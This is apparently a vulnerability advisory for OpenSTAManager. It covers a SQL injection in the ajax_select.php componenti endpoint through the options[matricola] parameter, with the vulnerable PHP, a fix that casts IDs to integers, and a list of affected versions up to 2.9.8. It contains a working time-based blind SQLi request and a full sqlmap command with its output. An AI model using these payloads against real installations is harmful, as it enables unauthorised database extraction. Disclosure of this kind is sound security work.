OpenSTAManager has a SQL Injection in ajax_select.php (componenti endpoint)
The advisory, in context
Summary
A SQL Injection vulnerability exists in the ajax_select.php endpoint when handling the componenti operation. An authenticated attacker can inject malicious SQL code through the options[matricola] parameter.
Proof of Concept
Vulnerable Code
File: modules/impianti/ajax/select.php:122-124
case 'componenti':
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
Data Flow
- Source:
$_GET['options']['matricola']→$superselect['matricola'] - Vulnerable: User input concatenated directly into
IN()clause without sanitization - Sink: Query executed via AJAX framework
Exploit
Manual PoC (Time-based Blind SQLi):
GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
<img width="1306" height="581" alt="image" src="https://github.com/user-attachments/assets/238015dd-5644-4eed-ae8f-864dc0073011" />
SQLMap Exploitation:
sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
--cookie="PHPSESSID=<session>" \
--dbms=MySQL \
--technique=T \
--level=3 \
--risk=3
SQLMap Output:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12
<img width="1228" height="801" alt="image" src="https://github.com/user-attachments/assets/b0b7078b-09a7-4e53-956c-baf1d09ed59b" />
Impact
- Data Exfiltration: Time-based blind SQL Injection allows complete database extraction
- Authentication Bypass: Access to sensitive component and equipment data
- Data Manipulation: Potential unauthorized modification of records
Remediation
Cast values to integers before using in SQL:
Before:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
After:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$ids = array_map('intval', explode(',', $impianti));
$where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}
Credit
Discovered by: Łukasz Rybak
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
Earlier releases through 2.9.8 (inclusive)
No fix recorded for this interval.
87 explicitly affected versions
2.3.0, v2.4, v2.4.1, v2.4.10, v2.4.11, v2.4.12, v2.4.13, v2.4.14, v2.4.15, v2.4.16, v2.4.17, v2.4.17.1, v2.4.18, v2.4.19, v2.4.2, v2.4.20, v2.4.21, v2.4.22, v2.4.23, v2.4.24, v2.4.25, v2.4.26, v2.4.27, v2.4.28, v2.4.29, v2.4.3, v2.4.30, v2.4.31, v2.4.32, v2.4.33, v2.4.34, v2.4.35, v2.4.36, v2.4.37, v2.4.38, v2.4.39, v2.4.4, v2.4.40, v2.4.41, v2.4.42, v2.4.43, v2.4.44, v2.4.45, v2.4.46, v2.4.47, v2.4.48, v2.4.49, v2.4.5, v2.4.50, v2.4.51, v2.4.52, v2.4.53, v2.4.54, v2.4.6, v2.4.7, v2.4.8, v2.4.9, v2.5, v2.5.1-beta, v2.5.2-beta, v2.5.3, v2.5.4, v2.5.5, v2.5.6, v2.5.7, v2.6-beta, v2.6.1, v2.6.2, v2.7, v2.7-beta, v2.7.1, v2.7.2, v2.7.3, v2.8-beta, v2.8.1, v2.8.2, v2.8.3, v2.9, v2.9-beta, v2.9.1, v2.9.2, v2.9.3, v2.9.4, v2.9.5, v2.9.6, v2.9.7, v2.9.8
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.9.8"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.3.0",
"v2.4",
"v2.4.1",
"v2.4.10",
"v2.4.11",
"v2.4.12",
"v2.4.13",
"v2.4.14",
"v2.4.15",
"v2.4.16",
"v2.4.17",
"v2.4.17.1",
"v2.4.18",
"v2.4.19",
"v2.4.2",
"v2.4.20",
"v2.4.21",
"v2.4.22",
"v2.4.23",
"v2.4.24",
"v2.4.25",
"v2.4.26",
"v2.4.27",
"v2.4.28",
"v2.4.29",
"v2.4.3",
"v2.4.30",
"v2.4.31",
"v2.4.32",
"v2.4.33",
"v2.4.34",
"v2.4.35",
"v2.4.36",
"v2.4.37",
"v2.4.38",
"v2.4.39",
"v2.4.4",
"v2.4.40",
"v2.4.41",
"v2.4.42",
"v2.4.43",
"v2.4.44",
"v2.4.45",
"v2.4.46",
"v2.4.47",
"v2.4.48",
"v2.4.49",
"v2.4.5",
"v2.4.50",
"v2.4.51",
"v2.4.52",
"v2.4.53",
"v2.4.54",
"v2.4.6",
"v2.4.7",
"v2.4.8",
"v2.4.9",
"v2.5",
"v2.5.1-beta",
"v2.5.2-beta",
"v2.5.3",
"v2.5.4",
"v2.5.5",
"v2.5.6",
"v2.5.7",
"v2.6-beta",
"v2.6.1",
"v2.6.2",
"v2.7",
"v2.7-beta",
"v2.7.1",
"v2.7.2",
"v2.7.3",
"v2.8-beta",
"v2.8.1",
"v2.8.2",
"v2.8.3",
"v2.9",
"v2.9-beta",
"v2.9.1",
"v2.9.2",
"v2.9.3",
"v2.9.4",
"v2.9.5",
"v2.9.6",
"v2.9.7",
"v2.9.8"
]
}